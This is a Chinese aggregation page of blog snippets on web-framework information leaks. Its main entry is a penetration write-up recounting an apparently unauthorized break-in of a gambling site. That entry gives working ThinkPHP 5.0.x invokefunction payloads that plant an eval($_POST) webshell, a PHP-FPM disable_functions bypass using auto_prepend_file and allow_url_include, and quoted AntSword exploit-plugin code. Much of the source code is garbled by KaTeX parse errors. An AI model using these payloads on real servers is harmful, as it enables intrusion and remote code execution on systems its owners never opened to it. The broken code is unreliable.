-
ThinkPHP 报错页面信息泄露
2019-08-08 16:56:20漏洞描述 ...ThinkPHP 报错页面存在漏洞,可能导致网站敏感信息泄漏。 修复方案 在 ThinkPHP 入口文件中,把APP_DEBUG参数设置为false。 注意:在修改前请做好备份,或为 ECS 建立硬盘快照。 ... -
Laravel的“调试模式”泄露特朗普竞选服务器的敏感信息
2019-10-18 18:47:55近期,有研究人员发现数百个使用Laravel框架的网站由于调试设置出现错误,导致敏感数据泄露。而这些受影响的网站中就包括美国总统特朗普的官方竞选网站,可导致攻击者劫持该网站的电子邮件服务器。 Laravel是一个...近期,有研究人员发现数百个使用Laravel框架的网站由于调试设置出现错误,导致敏感数据泄露。而这些受影响的网站中就包括美国总统特朗普的官方竞选网站,可导致攻击者劫持该网站的电子邮件服务器。
Laravel是一个非常知名的PHP框架,它自带一个“调试模式”,可帮助开发人员在网站上线之前迅速找出网站配置错误。但问题是,许多开发人员开启该模式后却忘记及时关闭,导致后端服务器的详细信息,例如数据库位置、密码、密钥等被攻击者知晓。
Comparitech与安全研究人员Bob Diachenko以及Sebastien Kaul合作,发现了大量因忘记关闭Laravel调试模式而泄露大量敏感信息的网站,并从10月11日开始向受影响网站的所有者通报漏洞信息。他们总共发现768个Laravel网站存在问题,其中10%到20%泄露了敏感配置,大多数都和慈善机构以及小企业有关。
特朗普竞选网站的一个子域以纯文本的形式泄露了邮件服务器的配置,不需要任何特殊的请求,直接通过浏览器就可以看到这些信息。由于不确定该网站是何时启用了调试模式,因此我们无法估计这些数据已经在公网上暴露了多久。
Diachenko表示:“即使只暴露了24小时也足够危险。从理论上讲,任何人都可以利用这些信息冒充特朗普竞选团队的成员,使用
email.donaldtrump.com
发送电子邮件。”除了冒充竞选团队人员,攻击者还能截获特朗普和支持者以及撰稿人的通信,特别是该竞选网站还涉及到募集捐款等经济行为。
需要明确的是,这种数据泄露并不是直接和用户信息有关。主要为黑客提供了一种强力攻击途径,借助这些敏感信息黑客可以直接劫持邮件服务器、检索网站源代码、暴力破解其他系统的密码等。
DonaldJTrump.com
团队在收到通报五天后的10月16日才做出了回应,解决了这个网站漏洞。其实这也并不是一个新问题,大约一年前,Diachenko和他的同事Sebastien Kaul就曾在公网上发现566个网站存在同样的问题,他们通知了能找到归属的22家公司。其中一家名为PrestoDaycare瑞典公司的产品是儿童跟踪软件和数字化教室技术。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3059.html 来源:https://www.comparitech.com/blog/vpn-privacy/debug-mode-exposes-credentials/
-
保护好自己的开源项目敏感信息(以Django框架为例)
2020-09-13 15:42:18如果你要在Github或Gitee等网站开源自己的项目,请注意保管好隐私。当你开源了这些项目之后,就意味着每一个人都可以看你的源码。而很多情况下,你的源码里很可能包含一些很重要的信息,比如数据库的密码,或邮箱的...前言:
如果你要在Github或Gitee等网站开源自己的项目时,一定要注意保管好隐私。当项目开源之后,就意味着每一个人都可以看到源码。而很多情况下,你的源码里很可能包含一些很重要的信息,比如数据库的密码,或邮箱的账号或密码等。一旦你泄露了这些信息,轻则个人隐私泄露,重则服务器被黑,数据库数据泄露,甚至你的其他账号密码(你的各类账号的密码会不会相同或者相似?)全部泄露,后果不堪设想!
这篇文章是我在收到GitGuardian的警告邮件后写下的,我被警告我的SMTP邮箱账号和django密钥暴露在源码中。我是用Python的Django框架做后端的,所以我就只讲Django,其他语言或框架的也可以参考一下。
Django的setting.py文件
用过Django框架的人都知道,Django的配置都是在setting.py文件中进行设置的。其中包括但不限于数据库的账号与密码,网站或开发者个人的邮箱账号和密码,还有Django项目的密钥等。
如果过把项目进行线上开源的话,别人只需要查看setting.py文件就可以很轻松的得到这些很重要的信息。而这些信息一旦泄露,后果不堪设想。
于是我想了一个保护setting.py文件中重要信息的办法。
保护方法
我的方法是,创建一个单独的secret.py模块。因为如果把setting.py文件直接写进 .gitignore文件里忽略,这样子会比较麻烦,而且项目也不完整,多设备同步和协作开发也不方便。
我创建了一个secret.py模块,把setting.py中的重要信息,复制到secret.py模块中,这个模块写进 .gitignore中,这样子就不会上传到开源库中。如果别人想下载你的项目,他只需要自己提供自己的配置就行了。自己使用或与同事协作时只需要给secret.py文件即可。
具体步骤就是:
- 创建一个secret.py(文件名随意)
- 把setting.py中的重要信息连同变量名一起复制到这个模块中
- 把这个文件放在任何Django能找到的地方。
- 在setting.py中导入模块
- 通过调用模块的方法赋值给Django的设置变量
小贴士:
Django从项目根目录,也就是与manage.py文件同级的目录下开始查找模块。结语
在如今这个信息时代下,个人隐私安全变得比以往任何时候都更重要。因为这已经不仅仅是裸不裸奔那么简单的事情了。你的一点隐私的泄露都有可能对你的生活造成困扰。收到各种莫名其妙的推销信息和推销电话等已经算是比较无害的后果了。鬼知道你泄露了邮箱密码后,人家会拿你邮箱干嘛?
而作为一名程序员,更不应该犯下这种低级的错误,更要好好保护好那些本就该好好保护的隐私才是。
-
大部分的菠菜都是利用Thinkphp框架二次开源,那么利用代码审计怎么参透入侵菠菜网站呢
2020-04-06 00:08:36首先日常进行信息收集,这个网站很奇怪,爆破目录之后,除了个别的一些信息泄露,就只剩下登陆注册忘记密码这种了,在常规的万能密码,逻辑漏洞,暴力破解无效之后,我在一次出错的页面捕捉到了网站使用的框架是think P...大部分的菠菜都是利用Thinkphp框架二次开源,那么利用代码审计怎么参透入侵菠菜网站呢?
前几天遇到了一个菠菜网站,本旨着菠菜网站都是毒的理念,对目标网站进行了一次渗透过程,记录分享一下
首先日常进行信息收集,这个网站很奇怪,爆破目录之后,除了个别的一些信息泄露,就只剩下登陆注册忘记密码这种了,在常规的万能密码,逻辑漏洞,暴力破解无效之后,我在一次出错的页面捕捉到了网站使用的框架是think PHP5.0.5
瞬间思路就打开了,还记着之前think PHP存在着因为对控制器名没有进行严格过滤导致的任意代码执行漏洞,下面来具体分析一下这种漏洞
漏洞分析
首先thinkphp5改变了入口方式,和tp3有所不同,我们从入口文件public/index.php开始一步步进行分析,首先是入口文件// 定义应用目录
define(‘APP_PATH’, DIR . ‘/…/application/’);
// 加载框架引导文件
require DIR . ‘/…/thinkphp/start.php’;
加载框架引导文件,跟进/thinkphp/start.php// ThinkPHP 引导文件
// 1. 加载基础文件
require DIR . ‘/base.php’;// 2. 执行应用
App::run()->send();
继续跟进run()方法,因为问题主要是发生在路由检测的问题上,所以我们需要找到路由检测的代码// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
request, KaTeX parse error: Expected 'EOF', got '}' at position 22: …); }̲ 找到进行路由检测的代码了,继…request, $config)public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config[‘pathinfo_depr’];
$result = false;// 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 开启路由 if (is_file(RUNTIME_PATH . 'route.php')) { // 读取路由缓存 $rules = include RUNTIME_PATH . 'route.php'; is_array($rules) && Route::rules($rules); } else { $files = $config['route_config_file']; foreach ($files as $file) { if (is_file(CONF_PATH . $file . CONF_EXT)) { // 导入路由配置 $rules = include CONF_PATH . $file . CONF_EXT; is_array($rules) && Route::import($rules); } } } // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由无效 throw new RouteNotFoundException(); } }
通过这句话 $path = $request->path(); 我猜测会得到poc的路径
跟进path函数我们验证一下public function path()
{
if (is_null($this->path)) {
$suffix = Config::get(‘url_html_suffix’);
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = KaTeX parse error: Expected 'EOF', got '}' at position 23: …o; }̲ elseif (suffix) {
// 去除正常的URL后缀
suffix, ‘.’) . ‘)$/i’, ‘’, $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace(’/.’ . /i’, ‘’, $pathinfo);
}
}
return KaTeX parse error: Expected 'EOF', got '}' at position 17: …his->path; }̲ 根据this->path = $pathinfo;跟进pathinfo()public function pathinfo()
{
if (is_null(KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(_GET[Config::get(‘var_pathinfo’)])) {
// 判断URL里面是否有兼容模式参数
$_SERVER[‘PATH_INFO’] = _GET[Config::get(‘var_pathinfo’)]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/…
_SERVER[‘argv’][1]) ? KaTeX parse error: Expected 'EOF', got '}' at position 38: …'; }̲ 因为var_pathinfo…_GET[‘s’]来传递路由信息,也就是?s=,并且因为ThinkPHP并非强制使用路由,如果没有定义路由,则可以直接使用“模块/控制器/操作”的方式访问,所以,经过组合我们的poc为?s=模块/控制器/操作
继续跳回到routeCheck函数.
因为$result = false;,我们跟踪到了这里if (false === $result) {
path, $depr, $config[‘controller_auto_search’]);
}
跟进parseUrl()public static function parseUrl($url, $depr = ‘/’, $autoSearch = false)
{if (isset(self::$bind['module'])) { $bind = str_replace('/', $depr, self::$bind['module']); // 如果有模块/控制器绑定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); $route = [null, null, null]; if (isset($path)) { // 解析模块 $module = Config::get('app_multi_module') ? array_shift($path) : null; if ($autoSearch) { // 自动搜索控制器 $dir = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer'); $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : ''; $item = []; $find = false; foreach ($path as $val) { $item[] = $val; $file = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT; $file = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT; if (is_file($file)) { $find = true; break; } else { $dir .= DS . Loader::parseName($val); } } if ($find) { $controller = implode('.', $item); $path = array_slice($path, count($item)); } else { $controller = array_shift($path); } } else { // 解析控制器 $controller = !empty($path) ? array_shift($path) : null; } // 解析操作 $action = !empty($path) ? array_shift($path) : null; // 解析额外参数 self::parseUrlParams(empty($path) ? '' : implode('|', $path)); // 封装路由 $route = [$module, $controller, $action]; // 检查地址是否被定义过路由 $name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action); $name2 = ''; if (empty($module) || isset($bind) && $module == $bind) { $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action); } if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) { throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); } } return ['type' => 'module', 'module' => $route]; }
其中depr, ‘|’, url中的符号’/‘替换为’|’也就是模块|控制器|操作
然后通过list(var)=self::parseUrlPath(url)private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace(’|’, ‘/’, $url);
url, ‘/’);
url, ‘?’)) {
// [模块/控制器/操作?]参数1=值1&参数2=值2…
url);
$path = explode(’/’, info[‘query’], KaTeX parse error: Expected 'EOF', got '}' at position 15: var); }̲ elseif (strpos…url, ‘/’)) {
// [模块/控制器/操作]
$path = explode(’/’, $url);
} else {
url];
}
return [$path, $var];
}
$path = explode(’/’, url变为数组,此时$path数组的值为如下$path=array[3]
$path[0]=模块
$path[1]=控制器
$path[2]=操作
然后返回到parseUrl()函数,继续往下跟,跟到解析控制器部分
path) ? array_shift($path) : null;
会得到控制器部分
path) ? array_shift($path) : null;
会得到操作
至于模块// 默认模块名
‘default_module’ => ‘index’,
然后会封装路由,数组变量$route为$route=array[3]
$route[0]=模块(index)
$route[1]=控制器
$route[2]=操作
最后一行代码return后会以数组的形式返回到routeCheck()
这里数组有所改变array[2]:
array[‘type’]=moudle
array[‘moudle’]=array[3]
返回routeback()public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config[‘pathinfo_depr’];
$result = false;
// 路由无效 解析模块/控制器/操作/参数… 支持控制器自动搜索
if (false === $result) {
path, $depr, $config[‘controller_auto_search’]);
}return $result; }
也就是上述代码中数组变量result结果返回到run()
// 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch); // 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); } // 监听 app_begin Hook::listen('app_begin', $dispatch); // 请求缓存检查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); }
dispatch到dispatch, $config);通过这行代码开始追踪exec()
protected static function exec($dispatch, KaTeX parse error: Expected '}', got 'EOF' at end of input: … switch (dispatch[‘type’]) {
case ‘redirect’: // 重定向跳转
dispatch[‘url’], ‘redirect’)
->code($dispatch[‘status’]);
break;
case ‘module’: // 模块/控制器/操作
$data = self::module(
$dispatch[‘module’],
dispatch[‘convert’]) ? $dispatch[‘convert’] : null
);
break;
case ‘controller’: // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch[‘var’]);
$data = Loader::action(
$dispatch[‘controller’],
$vars,
$config[‘url_controller_layer’],
$config[‘controller_suffix’]
);
break;
case ‘method’: // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch[‘var’]);
dispatch[‘method’], $vars);
break;
case ‘function’: // 闭包
dispatch[‘function’]);
break;
case ‘response’: // Response 实例
$data = $dispatch[‘response’];
break;
default:
throw new InvalidArgumentException(‘dispatch type not support’);
}return $data; }
因为$dispatch[‘type’]为module,所以跳到case ‘module’: // 模块/控制器/操作跟进module函数
public static function module($result, $config, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_string(result)) {
$result = explode(’/’, $result);
}$request = Request::instance();
这里的$result函数为
$result=array[3]
result[0]=模块(index)
result[1]=控制器
result[2]=操作
继续跟进module函数,出现问题了// 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); if (!empty($config['action_convert'])) { $actionName = Loader::parseName($actionName, 1); } else { $actionName = $convert ? strtolower($actionName) : $actionName; }
就在这里,没有对控制器做出一个足够的检测,就获取控制器名了,导致可以任意调用,我们就可以使用反射执行类的方法,进行任意函数执行,现在poc也就变成了?s=index/thinkapp/invokefunction然后继续跟进
// 设置当前请求的控制器、操作
controller, 1))->action(actionName为invokefunction,继续往下跟module函数// 获取当前操作名
$action = $actionName . $config[‘action_suffix’];$vars = []; if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars);
is_callable因验证thinkapp中存在invokefunction方法,所以会进入到这个if语句,然后获取类名和方法名.最后一行return到invokeMethod,继续跟进
public static function invokeMethod($method, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_array(method)) {
method[0]) ? method[0]);
class, $method[1]);
} else {
// 静态方法
method);
}$args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
reflect, args会获取POC中的余下的参数,参数中我们就可以使用call_user_func_array来调用函数了.最后组合的poc为
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>
最后的return会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,retuen data传到run()函数中,此时命令就已经执行成功了.既然已经可以进行上传getshell了,那当然直接传个小马进去
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i
但是问题来了,虽然是直接getshell了,但是没有办法去进行命令执行,然后跑去phpinfo看一下disable_function
果然给禁止了,那接下来就是想办法绕过disable_function了,绕过办法有好多,但是看目标开启了FPM功能,那自然是用fpm来绕过disable_function
php-fpm来绕过disable function
php-cgi
既然是利用PHP-FPM,我们首先需要了解一下什么是PHP-FPM,研究过apache或者nginx的人都知道,早期的websherver负责处理全部请求,其接收到请求,读取文件,传输过去.换句话说,早期的webserver只处理html等静态web.但是呢,随着技术发展,出现了像php等动态语言来丰富web,形成动态web,这就糟了,webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。
fast-cgi
有了cgi,自然就解决了webserver与php解释器的通信问题,但是webserver有一个问题,就是它每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程.这样会很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求.这样就会大大的提高效率.fast-cgi record
其实说白了,cgi协议就和HTTP协议相同,是进行数据交换/通信的一个协议,类比HTTP协议来说,cgi协议是webserver和解释器进行数据交换的协议,它由多条record组成,每一条record都和http一样,由header和body组成,webserver将这二者按照cgi规则封装好发送给解释器,解释器解码之后拿到具体数据进行操作,得到结果之后再次封装好返回给webserver.
其中使用cgi协议封装之后的请求是这样子的typedef struct
{
HEAD
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //id
unsigned char requestIdB0;
unsigned char contentLengthB1; //body大小
unsigned char contentLengthB0;
unsigned char paddingLength; //额外大小
unsigned char reserved;
BODY
unsigned char contentData[contentLength];//主要内容
unsigned char paddingData[paddingLength];//额外内容
}FCGI_Record;
解释器在解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是contentData,也就是主要内容,后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,不需要的时候,指定为 0 即可.其中发送类型很重要,具体的发送类型如下:
type值 具体含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1, 用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此, 以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7
看完这个基本就会清楚了,webserver和解释器进行通信,第一个record就是type=1,然后发送type为4,5,6,7的record,结束时发送type为2,3的record.php-fpm
前面说了那么多,那php-fpm是什莫东西呢?其实FPM就是fast-cgi的协议解析器,webserver使用cgi协议封装好用户的请求发送给谁呢? 其实就是发送给FPM
FPM按照cgi的协议将TCP流解析成真正的数据.
例如:
我们搭建一个LNMP的服务器,然后创建一个name.php,然后功能是接收并且echo Get类型请求参数,我们的name.php在/var/www/html内,这时我们发送一个请求/name.php?name=alex,此时,Nginx会将这个请求变成如下key-value对:
{
‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’,
‘REQUEST_METHOD’: ‘GET’,
‘SCRIPT_FILENAME’: ‘/var/www/html/name.php’,
‘SCRIPT_NAME’: ‘/name.php’,
‘QUERY_STRING’: ‘?name=alex’,
‘REQUEST_URI’: ‘/name.php?name=alex’,
‘DOCUMENT_ROOT’: ‘/var/www/html’,
‘SERVER_SOFTWARE’: ‘php/fcgiclient’,
‘REMOTE_ADDR’: ‘127.0.0.1’,
‘REMOTE_PORT’: ‘6666’,
‘SERVER_ADDR’: ‘127.0.0.1’,
‘SERVER_PORT’: ‘80’,
‘SERVER_NAME’: “localhost”,
‘SERVER_PROTOCOL’: ‘HTTP/1.1’
}
如果有熟悉php开发的小伙伴就会知道,这个是PHP中$_SERVER中的一部分,FPM在拿到经过封装的数据包之后,进行解析,然后,执行SCRIPT_FILENAME指向的php文件.攻击方式
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信.
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制.
第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file.
auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了.
最后构造的请求如下{
‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’,
‘REQUEST_METHOD’: ‘GET’,
‘SCRIPT_FILENAME’: ‘/var/www/html/name.php’,
‘SCRIPT_NAME’: ‘/name.php’,
‘QUERY_STRING’: ‘?name=alex’,
‘REQUEST_URI’: ‘/name.php?name=alex’,
‘DOCUMENT_ROOT’: ‘/var/www/html’,
‘SERVER_SOFTWARE’: ‘php/fcgiclient’,
‘REMOTE_ADDR’: ‘127.0.0.1’,
‘REMOTE_PORT’: ‘6666’,
‘SERVER_ADDR’: ‘127.0.0.1’,
‘SERVER_PORT’: ‘80’,
‘SERVER_NAME’: “localhost”,
‘SERVER_PROTOCOL’: ‘HTTP/1.1’
‘PHP_VALUE’: ‘auto_prepend_file = php://input’,
‘PHP_ADMIN_VALUE’: ‘allow_url_include = On’
}
这里附上P神的EXP利用 webshell 直接与 FPM通信 来绕过 disable functions
这里就得益于蚁剑的插件了,实现了webshell绕过disable funcrion使用完插件是上传了.antproxy.php和.so库,下面分析一下怎末实现的
其实前面讲完原理之后就特别好分析,.antproxy.php其实就是一个代理,关键代码为
$headers=get_client_header();
$host = “127.0.0.1”;
$port = 60802;
$errno = ‘’;
$errstr = ‘’;
$timeout = 30;
这里结合上下代码就能知道,webshell向60802发送了payload,通过ps -aux | grep 60802查看发现是重新启用了一个php服务,然后使用了-n也就是不使用php.ini,从而绕过了disdisable functions
exploit() {
let self = this;
let fpm_host = ‘’;
let fpm_port = -1;
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
if (self.form.validate()) {
self.cell.progressOn();
let core = self.top.core;
let formvals = self.form.getValues();
let phpbinary = formvals[‘phpbinary’];
formvals[‘fpm_addr’] = formvals[‘fpm_addr’].toLowerCase();
if (formvals[‘fpm_addr’].startsWith(‘unix:’)) {
fpm_host = formvals[‘fpm_addr’];
} else if (formvals[‘fpm_addr’].startsWith(’/’)) {
fpm_host =unix://${formvals['fpm_addr']}
} else {
fpm_host = formvals[‘fpm_addr’].split(’:’)[0] || ‘’;
fpm_port = parseInt(formvals[‘fpm_addr’].split(’:’)[1]) || 0;
}
// 生成 ext
let wdir = “”;
if (self.isOpenBasedir) {
for (var v in self.top.infodata.open_basedir) {
if (self.top.infodata.open_basedir[v] == 1) {
if (v == self.top.infodata.phpself) {
wdir = v;
} else {
wdir = v;
}
break;
}
};
} else {
wdir = self.top.infodata.temp_dir;
}
let cmd =${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}
;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(PHP_FPM_LANG[‘msg’][‘genext_err’], LANG_T[“warning”]);
self.cell.progressOff();
return
}new Promise((res, rej) => { var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`; // 上传 ext core.request( core.filemanager.upload_file({ path: ext_path, content: fileBuffer }) ).then((response) => { var ret = response['text']; if (ret === '1') { toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']); res(ext_path); } else { rej("upload extension fail"); } }).catch((err) => { rej(err) }); }).then((p) => { // 触发 payload, 会超时 var payload = `${FastCgiClient()}; $content=""; $client = new Client('${fpm_host}',${fpm_port}); $client->request(array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9984', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'PHP_VALUE' => 'extension=${p}', 'PHP_ADMIN_VALUE' => 'extension=${p}', 'CONTENT_LENGTH' => strlen($content) ), $content ); sleep(1); echo(1); `; core.request({ _: payload, }).then((response) => { }).catch((err) => { // 超时也是正常 }) }).then(() => { // 验证是否成功开启 var payload = `sleep(1); $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1); if(!$fp){ echo(0); }else{ echo(1); @fclose($fp); };` core.request({ _: payload, }).then((response) => { var ret = response['text']; if (ret === '1') { toastr.success(LANG['success'], LANG_T['success']); self.uploadProxyScript("127.0.0.1", port); self.cell.progressOff(); } else { self.cell.progressOff(); throw ("exploit fail"); } }).catch((err) => { self.cell.progressOff(); toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); }) }).catch((err) => { self.cell.progressOff(); toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); }); } else { self.cell.progressOff(); toastr.warning(LANG['form_not_comp'], LANG_T["warning"]); } return;
}
}
上述代码就是一次攻击过程了,首先验证FPM是否可行,然后生成并且上传扩展,然后开始构造fastcgi封装请求来加载扩展,触发payload后,生成新的php server,每次执行命令的时候都会转发到60802进行执行.命令执行成功
结语
这样一次渗透测试就结束了,后来发现,大多数的菠菜网站都是这类的架构和糟糕的服务器管理方式,学习渗透测试还是原理和实战相结合最好,不懂原理的渗透测试永远是没有灵魂的. -
在50亿信息泄露事件面前,Struts 2 漏洞和CIA泄密都是小事 | 宅客周刊
2017-08-09 10:22:001.一份数据告诉你,被万年漏洞王 Struts2 坑了的网站有哪些 pache Struts2 作为世界上最流行的 Java Web 服务器框架之一,3 月 7 日带来了本年度第一个高危漏洞——CVE编号 CVE-2017-5638 。其原因是由于 Apache ... -
美征信巨头Equifax因Struts漏洞导致数据大规模泄露
2017-09-17 19:00:00各新闻机构和在线新闻网站都报道了黑客从征信企业Equifax窃取了1.43亿美国人的详细个人信息,这一事件表明Apache Struts框架存在安全缺陷。Struts是一种开源的MVC框架,用于创建基于Java的Web应用。作为这一框架管理... -
shiro安全管理框架之Cryptography.docx
2020-03-25 16:40:42散列算法一般用于生成数据的摘要信息,是一种不可逆的算法,一般适合存储密码之类的数据,常见的散列算法如MD5、SHA等。一般进行散列时最好提供一个salt(盐),比如加密密码“admin”,产生的散列值是“21232f297... -
Spring Boot 2.4.x 项目设置网站图标
2020-12-19 23:01:03但在Spring Boot项目的issues中提出,如果提供默认的Favicon可能会导致网站信息泄露。如果用户不进行自定义的Favicon的设置,而Spring Boot项目会提供默认的叶子图标,那么势必会导致泄露网站的开发框架。 -
免费漏洞扫描工具,你的网站可能已经千疮百孔
2021-01-22 11:23:25众所周知,在网络攻击中,绝大多数的网络攻击都是利用漏洞攻击实现的,一旦网站存在漏洞,黑客可以轻易的发动sql注入、xss、CRSF攻击,从而造成网站篡改,数据库信息泄露,影响网站安全和企业形象。因此网站漏洞不... -
《社交网站界面设计(原书第2版)》——2.19 把握道德尺度
2017-09-04 15:54:00你是否承诺保证用户的安全,保证他们的信息不会泄露并尊重他们的隐私权?你是否会为了网站聚集人气并快速建立自己的社交图而昧着良心欺骗用户呢?巴尔扎克曾经说过:“巨额的财富往往没有明确的来源,其秘密就是人们... -
关于网页安全输出隐藏
2018-12-13 17:44:00如图,Pesponse Headers展示我开启了gzip压缩,但是server和X-Powered-By泄露了网站使用的环境和框架,是不安全的。所以需要隐藏, ①X-Powered-By在框架的library的view.class.php文件中注释; ②隐藏server信息... -
安全分析工具合辑
2019-06-17 19:02:12目录 ... 中间件漏洞评估或信息泄露扫描 特殊组件或漏洞类型扫描 无线网络漏洞评估 局域网探测 动态或静态代码审计 模块化设计扫描器或漏洞评估框架 高级持续性威胁 子域名爆破枚举或接管 h... -
Thinkphp漏洞
2021-02-06 23:26:09➢ Thinkphp介绍 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持 windows/Unix/Linux等服务器环境。 ➢ Thinkphp应用 很多cms就是基于...敏感信息泄露 ThinkPHP3.2.3_最新版update注入漏洞 Thin -
hw小技巧
